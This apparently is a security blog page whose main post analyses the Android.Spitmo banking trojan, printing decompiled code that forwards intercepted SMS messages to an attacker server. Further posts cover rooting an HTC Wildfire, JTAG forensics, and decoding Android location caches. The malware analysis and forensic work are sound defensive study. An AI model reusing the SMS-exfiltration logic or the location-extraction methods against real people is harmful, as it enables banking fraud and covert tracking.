Detailed Analysis of Android.Spitmo

Intro: What is Android.Spitmo?

Android.Spitmo is the mobile “add-on” for SpyEye. Infected with this combination of malware, the attacker is able to modify banking orders made by the victim, even if they are secured by mTan.

Step 1: Forcing the User to Install the App

If the machine of a user is compromised with SpyEye and the user tries to browse to his bank website a message is shown presenting a new security solution which is now obligatory in order to use the online banking service in the future. The new solution pretends to be an Android application that protects the phone’s SMS messages from being intercepted by a Trojan installed on the smartphone. The user is then directed to a download page.

After the user has downloaded and installed the app on his Android smartphone, nothing seems to happen at a first glance. There is no new icon on the dashboard, no new running service or running application as you can see in the following screenshot.

After a bit of search, the user is able to find an application called “System” (the malware application). If taking a look at it, you can see that the app has the permissions to access your SMS messages, intercept phone calls and communicate over the Internet:

To complete the installation, the user has to call the number “325000”. The call is intercepted by the malware and an activation code is presented on the home screen to be submitted to the bank’s website afterwards:

The de-compiled code of this action can be seen here:

if (intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL") && intent.getStringExtra("android.intent.extra.PHONE_NUMBER").equals("325000"))
{
    Toast.makeText(context1, "251340", 0).show();
    set ResultData(null);
}

Step 2: The Trojan Action

After the Trojan has been installed successfully, all incoming SMS messages will be intercepted and send to the attacker’s server.

The de-compiled code below creates a string (?sender=[SenderAddress]&receiver=[ReciverAddress]&text=[Message]”) and is called every time a SMS message is received:

String s3 = (String) ((Iterator) (obj)).next();
Boolean boo1;
String s4 = String.valueOf(s3);
StringBuilder stringbuilder = (new StringBuilder(s4)).append("?sender=");
String s5 = URLEncoder.encode(as[0]);
StringBuilder stringbuilder1 = (new StringBuilder(s5)).append("&receiver=");
String s6 = URLEncoder.encode(as[1]);
StringBuilder stringbuilder2 = (new StringBuilder(s5)).append("&text=");
String s7 = URLEncoder.encode(as[2]);
String s8 = stringbuilder2.append(s7).toString();
java.io.InputStream inputstream = (new URL(s8)).openConnection().getInputStream();
InputStreamReader inputstreamreader = new InputStreamReader(inputstream);
BufferedReader bufferedreader = new BufferedReader(inputstreamreader);
String s9 = bufferedreader.readLine();
bufferedreader.close();
bool1 = Boolean.valueOf(true);
obj = bool1;

As implied from the structure of this string, it will be appended to a HTTP request, to be sent to the attacker’s website afterwards. The application package consists of another file called “settings.xml” inside the “asset” directory, which contains the configuration data (as can be seen in the following code snippet):

...








...

As far as we know, there are 3 cases for “send value” (1 = HTTP; 2 = SMS & HTTP; any other = SMS). The phone number, the SMS messages get forwarded to, is stored in “telephone value”.

Step 3: The Attacker’s Website

The attacker’s website consist of the following 4 files and a mySQL database:

  • config.php (configuration for mySQL access)
  • gate.php (receives the HTTP requests from the malware and populates the database)
  • json.php (responsible for DB queries)
  • index.html (displays the database entries)

Sample Information:

sha256:
ba1aa326ca5b79e79feba9bbfe85f238b63c317d9329f1f7c28d54fe905353b9

md5:
cfa9edb8c9648ae2757a85e6066f6515

Mobile-Sandbox Report

How to root a HTC Wildfire

The following steps will void the warranty of the device and there is no guaranty that it will work on your device!

  • First of all you will need to know what version of HBOOT the device is using and the serial number of it
  • If HBOOT is not 1.01.0001 you have to downgrade to HTC Froyo WWE for Revolutionary
  • Download & install the HTC Sync drivers
  • Make sure USB debugging is enabled on the device
  • Download Revolutionary 0.4pre4
  • Connect the HTC Wildfire to the computer via USB
  • Launch the Revolutionary software and enter in the beta key you got from the revolutionary website
  • Revolutionary will now root the device, set S-OFF and install clockwork recovery. The device will reboot on its own afterwards
  • Now you can flash a custom ROM with the help of clockwork recovery

If all these steps are finished successfully you are root and, if you have flashed a new custom ROM, you are running a newer version of Android.

Android devices and JTAG

Today I got some new toys to improve the forensic investigation process on smartphones. These tools allow to connect directly to the JTAG interface on the smartphone and so it should be possible to get a real dump of the memory.

I’m really excited how this works out 🙂

Decoding cache.cell and cache.wifi files

As everybody knows, Android is maintaining two cache files with location information. One is cache.wifi (a wifi router database with MAC and GPS of the router) the other is cache.cell (a database with mobile communication cells and their GPS). Due to the fact, that these files are in binary format the following Python code-snippet should help to encode the actual data:

cacheFile = open("cache.wifi", 'rb')
version, entries = struct.unpack('>hh', cacheFile.read(4))
i = 0
while i < entries:
   key = cacheFile.read(struct.unpack('>h', cacheFile.read(2))[0])
   (accuracy, confidence, latitude, longitude, readtime) = struct.unpack('>iiddQ', cacheFile.read(32))
   outputFile.write('%25s %7d %5d %10f %10f %s \n' % (key,accuracy,confidence,latitude,longitude,time.strftime("%x %X %z", time.localtime(readtime/1000))))
   i=i+1
cacheFile.close()

The cache files are located at:
/data/data/com.google.android.location/files/

This snippet works for both cache files, just change the filename 🙂

Sources of location information on Android phones

We investigated several well-known apps from the Android market with respect to the amount of location data stored. Some of these apps, their corresponding databases as well as the location data retrieved can be found in the following table.

App Storage Location Content
system cache.cell last 50 mobile telecommunication cells
system cache.wifi last 200 wifi routers
camera JPG pictures latitude and longitude of picture location
browser CachedGeopositions.db latitude, longitude, accuracy and timestamp
twitter author_id.db -> statuses latitude and longitude of status message
twitter author_id.db -> search_queries latitude, longitude and radius of location search queries
facebook fb.db -> user_statuses latitude and longitude of status message
facebook fb.db -> user_values latitude, longitude and timestamp of last checkin
google maps da_destination_history latitude and longitude of navigation start and destination